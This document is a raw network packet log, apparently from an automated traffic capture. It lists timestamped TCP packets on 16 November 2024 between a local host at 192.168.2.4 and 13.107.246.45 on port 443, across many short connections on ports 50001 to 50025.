Nov 16, 2024 20:13:25.700459957 CET	50001	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.700504065 CET	443	50001	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.700535059 CET	443	50001	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.703737974 CET	50006	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.703780890 CET	443	50006	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.703866005 CET	50006	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.704041004 CET	50006	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.704054117 CET	443	50006	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.747330904 CET	443	50003	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.748011112 CET	50003	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.748100996 CET	443	50003	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.748368025 CET	50003	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.748385906 CET	443	50003	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.796668053 CET	443	50002	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.796741962 CET	443	50002	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.796809912 CET	50002	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.796830893 CET	443	50002	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.796864986 CET	443	50002	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.796916008 CET	50002	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.797044039 CET	50002	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.797060966 CET	443	50002	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.797074080 CET	50002	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.797079086 CET	443	50002	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.799930096 CET	50007	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.799979925 CET	443	50007	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.800055027 CET	50007	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.800180912 CET	50007	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.800192118 CET	443	50007	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.856255054 CET	443	50004	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.856678009 CET	50004	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.856703043 CET	443	50004	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.857108116 CET	50004	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.857111931 CET	443	50004	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.883219957 CET	443	50003	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.883320093 CET	443	50003	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.883521080 CET	50003	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.883651972 CET	50003	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.883701086 CET	443	50003	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.883742094 CET	50003	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.883758068 CET	443	50003	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.886832952 CET	50008	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.886873960 CET	443	50008	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.886951923 CET	50008	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.887134075 CET	50008	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:25.887152910 CET	443	50008	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.989059925 CET	443	50004	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.989236116 CET	443	50004	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:25.989296913 CET	50004	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.003886938 CET	50004	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.003910065 CET	443	50004	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.003918886 CET	50004	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.003923893 CET	443	50004	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.021466017 CET	50009	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.021505117 CET	443	50009	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.021585941 CET	50009	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.022488117 CET	50009	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.022502899 CET	443	50009	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.208049059 CET	443	50005	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.240262985 CET	50005	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.240289927 CET	443	50005	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.240794897 CET	50005	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.240799904 CET	443	50005	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.365484953 CET	443	50005	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.365559101 CET	443	50005	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.365632057 CET	50005	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.365804911 CET	50005	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.365822077 CET	443	50005	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.365833044 CET	50005	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.365837097 CET	443	50005	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.369119883 CET	50010	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.369210005 CET	443	50010	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.369322062 CET	50010	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.369457006 CET	50010	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.369492054 CET	443	50010	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.435004950 CET	443	50006	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.435592890 CET	50006	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.435627937 CET	443	50006	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.435985088 CET	50006	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.435992002 CET	443	50006	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.541876078 CET	443	50007	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.542383909 CET	50007	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.542408943 CET	443	50007	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.542790890 CET	50007	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.542795897 CET	443	50007	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.566734076 CET	443	50006	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.566761017 CET	443	50006	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.566811085 CET	443	50006	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.566939116 CET	50006	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.567166090 CET	50006	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.567178965 CET	443	50006	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.567210913 CET	50006	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.567217112 CET	443	50006	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.569938898 CET	50011	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.569967031 CET	443	50011	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.570044994 CET	50011	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.570197105 CET	50011	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.570207119 CET	443	50011	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.622616053 CET	443	50008	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.623023033 CET	50008	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.623065948 CET	443	50008	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.623470068 CET	50008	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.623524904 CET	443	50008	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.675457954 CET	443	50007	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.675612926 CET	443	50007	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.675688982 CET	50007	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.675729036 CET	50007	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.675745964 CET	443	50007	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.675756931 CET	50007	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.675761938 CET	443	50007	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.678601027 CET	50012	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.678651094 CET	443	50012	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.678731918 CET	50012	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.678867102 CET	50012	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.678886890 CET	443	50012	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.752070904 CET	443	50008	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.752145052 CET	443	50008	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.752223015 CET	50008	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.752259016 CET	443	50008	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.752312899 CET	50008	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.752506971 CET	50008	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.752547026 CET	443	50008	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.752573013 CET	50008	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.752588034 CET	443	50008	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.755110025 CET	443	50009	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.755521059 CET	50009	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.755548000 CET	443	50009	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.755769968 CET	50013	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.755861044 CET	443	50013	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.755928993 CET	50009	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.755935907 CET	443	50009	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.755949020 CET	50013	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.756088018 CET	50013	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.756125927 CET	443	50013	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.888572931 CET	443	50009	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.888760090 CET	443	50009	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.888825893 CET	50009	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.888886929 CET	50009	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.888904095 CET	443	50009	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.888914108 CET	50009	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.888919115 CET	443	50009	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.891820908 CET	50014	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.891861916 CET	443	50014	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:26.891926050 CET	50014	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.892173052 CET	50014	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:26.892191887 CET	443	50014	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.112230062 CET	443	50010	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.112977028 CET	50010	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.113018036 CET	443	50010	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.113490105 CET	50010	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.113497019 CET	443	50010	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.296530962 CET	443	50010	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.296730995 CET	443	50010	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.296785116 CET	443	50010	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.296797991 CET	50010	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.296849966 CET	50010	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.297008038 CET	50010	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.297048092 CET	443	50010	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.297075033 CET	50010	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.297095060 CET	443	50010	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.300502062 CET	50015	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.300597906 CET	443	50015	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.300718069 CET	50015	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.300925970 CET	50015	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.300962925 CET	443	50015	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.314361095 CET	443	50011	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.314785957 CET	50011	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.314798117 CET	443	50011	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.315249920 CET	50011	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.315254927 CET	443	50011	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.415035963 CET	443	50012	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.418600082 CET	50012	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.418637991 CET	443	50012	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.419047117 CET	50012	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.419054031 CET	443	50012	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.445235014 CET	443	50011	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.445288897 CET	443	50011	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.445336103 CET	50011	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.445517063 CET	50011	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.445528984 CET	443	50011	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.445538998 CET	50011	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.445543051 CET	443	50011	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.449115992 CET	50016	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.449156046 CET	443	50016	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.449218988 CET	50016	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.449516058 CET	50016	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.449529886 CET	443	50016	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.491591930 CET	443	50013	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.491940975 CET	50013	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.491995096 CET	443	50013	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.492309093 CET	50013	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.492326975 CET	443	50013	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.552031040 CET	443	50012	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.552130938 CET	443	50012	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.552201986 CET	50012	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.552408934 CET	50012	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.552429914 CET	443	50012	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.552443027 CET	50012	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.552448988 CET	443	50012	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.555491924 CET	50017	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.555584908 CET	443	50017	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.555674076 CET	50017	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.556411028 CET	50017	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.556442022 CET	443	50017	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.617625952 CET	443	50014	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.618379116 CET	50014	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.618405104 CET	443	50014	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.618968964 CET	50014	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.618978977 CET	443	50014	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.620186090 CET	443	50013	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.620265961 CET	443	50013	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.620449066 CET	50013	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.620539904 CET	50013	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.620541096 CET	50013	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.620585918 CET	443	50013	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.620615005 CET	443	50013	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.623095989 CET	50018	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.623140097 CET	443	50018	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:27.623213053 CET	50018	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.623327971 CET	50018	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:27.623339891 CET	443	50018	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.021795988 CET	443	50015	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.022469997 CET	50015	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.022535086 CET	443	50015	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.022952080 CET	50015	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.022968054 CET	443	50015	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.034765959 CET	443	50014	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.034923077 CET	443	50014	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.034982920 CET	50014	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.035123110 CET	50014	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.035144091 CET	443	50014	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.035159111 CET	50014	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.035165071 CET	443	50014	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.038115978 CET	50019	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.038207054 CET	443	50019	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.038296938 CET	50019	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.038424015 CET	50019	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.038448095 CET	443	50019	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.151376009 CET	443	50015	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.151464939 CET	443	50015	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.151514053 CET	50015	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.151715994 CET	50015	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.151742935 CET	443	50015	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.151762962 CET	50015	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.151770115 CET	443	50015	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.154989958 CET	50020	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.155019999 CET	443	50020	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.155103922 CET	50020	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.155293941 CET	50020	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.155304909 CET	443	50020	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.215917110 CET	443	50016	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.216572046 CET	50016	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.216603994 CET	443	50016	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.217070103 CET	50016	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.217076063 CET	443	50016	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.291081905 CET	443	50017	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.292184114 CET	50017	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.292223930 CET	443	50017	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.292948961 CET	50017	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.292957067 CET	443	50017	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.347381115 CET	443	50018	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.347902060 CET	50018	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.347920895 CET	443	50018	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.348361015 CET	50018	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.348366022 CET	443	50018	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.351469040 CET	443	50016	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.351496935 CET	443	50016	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.351546049 CET	443	50016	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.351557016 CET	50016	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.351607084 CET	50016	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.351738930 CET	50016	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.351752996 CET	443	50016	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.351761103 CET	50016	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.351766109 CET	443	50016	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.355252981 CET	50021	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.355295897 CET	443	50021	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.355375051 CET	50021	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.355581045 CET	50021	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.355597019 CET	443	50021	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.420819998 CET	443	50017	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.420988083 CET	443	50017	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.421077967 CET	50017	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.446880102 CET	50017	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.446894884 CET	443	50017	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.446911097 CET	50017	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.446918011 CET	443	50017	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.453502893 CET	50022	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.453524113 CET	443	50022	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.453624964 CET	50022	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.453772068 CET	50022	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.453783035 CET	443	50022	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.600265026 CET	443	50018	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.600338936 CET	443	50018	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.600404978 CET	50018	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.600434065 CET	443	50018	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.600476027 CET	443	50018	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.600522995 CET	50018	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.603404999 CET	50018	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.603431940 CET	443	50018	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.603447914 CET	50018	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.603455067 CET	443	50018	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.632908106 CET	50023	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.632952929 CET	443	50023	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.633027077 CET	50023	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.636332035 CET	50023	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.636347055 CET	443	50023	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.774492979 CET	443	50019	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.778331995 CET	50019	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.778394938 CET	443	50019	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.778817892 CET	50019	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.778834105 CET	443	50019	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.893318892 CET	443	50020	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.893897057 CET	50020	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.893929005 CET	443	50020	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.894361019 CET	50020	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.894368887 CET	443	50020	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.907250881 CET	443	50019	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.907442093 CET	443	50019	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.907521963 CET	50019	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.907625914 CET	50019	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.907625914 CET	50019	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.907671928 CET	443	50019	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.907701015 CET	443	50019	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.910793066 CET	50024	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.910892963 CET	443	50024	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:28.911015987 CET	50024	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.911184072 CET	50024	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:28.911214113 CET	443	50024	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.023683071 CET	443	50020	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.023745060 CET	443	50020	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.023816109 CET	50020	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.023829937 CET	443	50020	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.023857117 CET	443	50020	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.023909092 CET	50020	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.024240017 CET	50020	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.024250031 CET	443	50020	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.024257898 CET	50020	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.024262905 CET	443	50020	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.028084040 CET	50025	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:29.028131962 CET	443	50025	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:29.028218031 CET	50025	443	192.168.2.4	13.107.246.45
